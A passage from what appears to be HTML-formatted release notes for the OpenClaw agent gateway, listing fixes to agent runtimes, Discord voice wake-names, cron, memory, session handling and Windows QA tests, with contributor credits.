<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
